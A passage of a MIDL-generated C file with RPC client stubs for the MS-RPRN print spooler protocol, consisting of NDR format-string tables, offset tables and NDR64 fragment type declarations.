*/\n\t\t\t0x0,\t\t/*  */\n/* 2234 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 2236 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2238 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2240 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2244 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2248 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2250) */\n/* 2250 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2252 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 2254 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2258 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (2274) */\n/* 2260 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2264 */\tNdrFcShort( 0x28 ),\t/* Offset= 40 (2304) */\n/* 2266 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 2270 */\tNdrFcShort( 0x30 ),\t/* Offset= 48 (2318) */\n/* 2272 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2271) */\n/* 2274 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2276 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2278) */\n/* 2278 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2280 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2282 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2284 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (2296) */\n/* 2286 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2288 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2290 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2292 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 2294 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2296 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2298 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2300 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2302 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2304 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2306 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2308) */\n/* 2308 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2310 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2312 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2314 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2314) */\n/* 2316 */\t0xb8,\t\t/* FC_INT3264 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2318 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2320 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2322) */\n/* 2322 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 2324 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 2326 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2328 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (2344) */\n/* 2330 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2332 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2334 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2336 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 2340 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 2342 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2344 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2346 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2348 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2350 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2352 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2354 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2358 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2358) */\n/* 2360 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2362 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2364 */\tNdrFcShort( 0xff7a ),\t/* Offset= -134 (2230) */\n/* 2366 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2368 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2370 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2372) */\n/* 2372 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2374 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2376 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 2378 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2380 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2382 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2384 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2388 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2392 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2394 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2396 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2398) */\n/* 2398 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 2400 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2402 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2404 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2406 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2408 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2410 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2414 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2418 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2420 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2422 */\tNdrFcShort( 0xf824 ),\t/* Offset= -2012 (410) */\n/* 2424 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2426 */\tNdrFcShort( 0xf9bc ),\t/* Offset= -1604 (822) */\n/* 2428 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2430 */\tNdrFcShort( 0xfc74 ),\t/* Offset= -908 (1522) */\n/* 2432 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 2434 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2436 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2438 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2440) */\n/* 2440 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2442 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2444 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2446 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2448 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2450 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2452 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2460 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2462 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2464 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2466) */\n/* 2466 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2468 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2470 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2472 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2474 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2476 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2478 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2482 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2486 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2488 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 2490 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2492 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 2494 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Drprn_MIDL_EXPR_FORMAT_STRING ms2Drprn__MIDL_ExprFormatString =\n    {\n        0,\n        {\n\t\t\t0x4,\t\t/* FC_EXPR_OPER */\n\t\t\t0x1b,\t\t/* OP_AND */\n/*  2 */\t0x0,\t\t/*  */\n\t\t\t0x0,\t\t/* 0 */\n/*  4 */\t0x1,\t\t/* FC_EXPR_CONST32 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcLong( 0xffffff ),\t/* 16777215 */\n/* 12 */\t0x3,\t\t/* FC_EXPR_VAR */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 14 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n\n\t\t\t0x0\n        }\n    };\n\nXFG_BIND_TRAMPOLINES(unsigned long long, STRING_HANDLE)\n\nstatic const GENERIC_BINDING_ROUTINE_PAIR BindingRoutines[ GENERIC_BINDING_TABLE_SIZE ] = \n        {\n        {\n            (GENERIC_BINDING_ROUTINE) XFG_TRAMPOLINE_FPTR(STRING_HANDLE_bind),\n            (GENERIC_UNBIND_ROUTINE) XFG_TRAMPOLINE_FPTR(STRING_HANDLE_unbind)\n         }\n        \n        };\n\n\nstatic const unsigned short ms2Drprn__MIDL_ExprFormatStringOffsetTable[] =\n{\n0,\n};\n\nstatic const NDR_EXPR_DESC  ms2Drprn_ExprDesc = \n {\nms2Drprn__MIDL_ExprFormatStringOffsetTable,\nms2Drprn__MIDL_ExprFormatString.Format\n};\n\nstatic const unsigned short winspool_FormatStringOffsetTable[] =\n    {\n    0,\n    80,\n    148,\n    210,\n    284,\n    370,\n    438,\n    482,\n    550,\n    618,\n    668,\n    748,\n    822,\n    896,\n    952,\n    1014,\n    1094,\n    1168,\n    1224,\n    1268,\n    1330,\n    1374,\n    1418,\n    1480,\n    1524,\n    1592,\n    1642,\n    1716,\n    1784,\n    1840,\n    1884,\n    1934,\n    1984,\n    2058,\n    2114,\n    2188,\n    2262,\n    2336,\n    2366,\n    2396,\n    2452,\n    2508,\n    2582,\n    2626,\n    2656,\n    2686,\n    2716,\n    2766,\n    2822,\n    2878,\n    2908,\n    2938,\n    3018,\n    3074,\n    3172,\n    3202,\n    3232,\n    3276,\n    3306,\n    3380,\n    3442,\n    3486,\n    3548,\n    3628,\n    3658,\n    3688,\n    3762,\n    3836,\n    3898,\n    3928,\n    4002,\n    4076,\n    4132,\n    4224,\n    4274,\n    4304,\n    4334,\n    4364,\n    4438,\n    4518,\n    4592,\n    4660,\n    4716,\n    4766,\n    4796,\n    4864,\n    4926,\n    4976,\n    5044,\n    5130,\n    5186,\n    5216,\n    5246,\n    5276,\n    5306,\n    5336,\n    5366,\n    5434,\n    5496,\n    5526,\n    5556,\n    5586,\n    5616,\n    5690,\n    5720,\n    5800,\n    5830,\n    5860,\n    5890,\n    5920,\n    5950,\n    6012,\n    6068,\n    6124,\n    6186,\n    6228,\n    6278\n    };\n\n\n\n#endif /* defined(_M_AMD64)*/\n\n\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for IDL_FILES\\ms-rprn.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n\nextern const GENERIC_BINDING_ROUTINE_PAIR BindingRoutines[ GENERIC_BINDING_TABLE_SIZE ];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\n\n#include \"ndr64types.h\"\n#include \"pshpack8.h\"\n#ifdef __cplusplus\nnamespace {\n#endif\n\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1091_t;\nextern const __midl_frag1091_t __midl_frag1091;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag1089_t;\nextern const __midl_frag1089_t __midl_frag1089;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag1088_t;\nextern const __midl_frag1088_t __midl_frag1088;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1087_t;\nextern const __midl_frag1087_t __midl_frag1087;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1086_t;\nextern const __midl_frag1086_t __midl_frag1086;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1085_t;\nextern const __midl_frag1085_t __midl_frag1085;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag1084_t;\nextern const __midl_frag1084_t __midl_frag1084;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag1083_t;\nextern const __midl_frag1083_t __midl_frag1083;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1082_t;\nextern const __midl_frag1082_t __midl_frag1082;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag1081_t;\nextern const __midl_frag1081_t __midl_frag1081;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1080_t;\nextern const __midl_frag1080_t __midl_frag1080;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag1079_t;\nextern const __midl_frag1079_t __midl_frag1079;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1076_t;\nextern const __midl_frag1076_t __midl_frag1076;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag1072_t;\nextern const __midl_frag1072_t __midl_frag1072;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1071_t;\nextern const __midl_frag1071_t __midl_frag1071;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1068_t;\nextern const __midl_frag1068_t __midl_frag1068;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1065_t;\nextern const __midl_frag1065_t __midl_frag1065;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1060_t;\nextern const __midl_frag1060_t __midl_frag1060;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1052_t;\nextern const __midl_frag1052_t __midl_frag1052;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n}\n__midl_frag1051_t;\nextern const __midl_frag1051_t __midl_frag1051;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1042_t;\nextern const __midl_frag1042_t __midl_frag1042;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1041_t;\nextern const __midl_frag1041_t __midl_frag1041;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag1040_t;\nextern const __midl_frag1040_t __midl_frag1040;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1039_t;\nextern const __midl_frag1039_t __midl_frag1039;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag1030_t;\nextern const __midl_frag1030_t __midl_frag1030;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1023_t;\nextern const __midl_frag1023_t __midl_frag1023;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag1022_t;\nextern const __midl_frag1022_t __midl_frag1022;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1021_t;\nextern const __midl_frag1021_t __midl_frag1021;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag1015_t;\nextern const __midl_frag1015_t __midl_frag1015;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1003_t;\nextern const __midl_frag1003_t __midl_frag1003;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag997_t;\nextern const __midl_frag997_t __midl_frag997;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag996_t;\nextern const __midl_frag996_t __midl_frag996;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag995_t;\nextern const __midl_frag995_t __midl_frag995;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag994_t;\nextern const __midl_frag994_t __midl_frag994;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag992_t;\nextern const __midl_frag992_t __midl_frag992;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag983_t;\nextern const __midl_frag983_t __midl_frag983;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag980_t;\nextern const __midl_frag980_t __midl_frag980;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag977_t;\nextern const __midl_frag977_t __midl_frag977;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag973_t;\nextern const __midl_frag973_t __midl_frag973;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag971_t;\nextern const __midl_frag971_t __midl_frag971;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag970_t;\nextern const __midl_frag970_t __midl_frag970;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag967_t;\nextern const __midl_frag967_t __midl_frag967;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag966_t;\nextern const __midl_frag966_t __midl_frag966;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag965_t;\nextern const __midl_frag965_t __midl_frag965;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n}\n__midl_frag961_t;\nextern const __midl_frag961_t __midl_frag961;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag951_t;\nextern const __midl_frag951_t __midl_frag951;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag948_t;\nextern const __midl_frag948_t __midl_frag948;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag942_t;\nextern const __midl_frag942_t __midl_frag942;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag932_t;\nextern const __midl_frag932_t __midl_frag932;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag922_t;\nextern const __midl_frag922_t __midl_frag922;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag916_t;\nextern const __midl_frag916_t __midl_frag916;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag909_t;\nextern const __midl_frag909_t __midl_frag909;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag904_t;\nextern const __midl_frag904_t __midl_frag904;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag903_t;\nextern const __midl_frag903_t __midl_frag903;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag902_t;\nextern const __midl_frag902_t __midl_frag902;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag901_t;\nextern const __midl_frag901_t __midl_frag901;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct 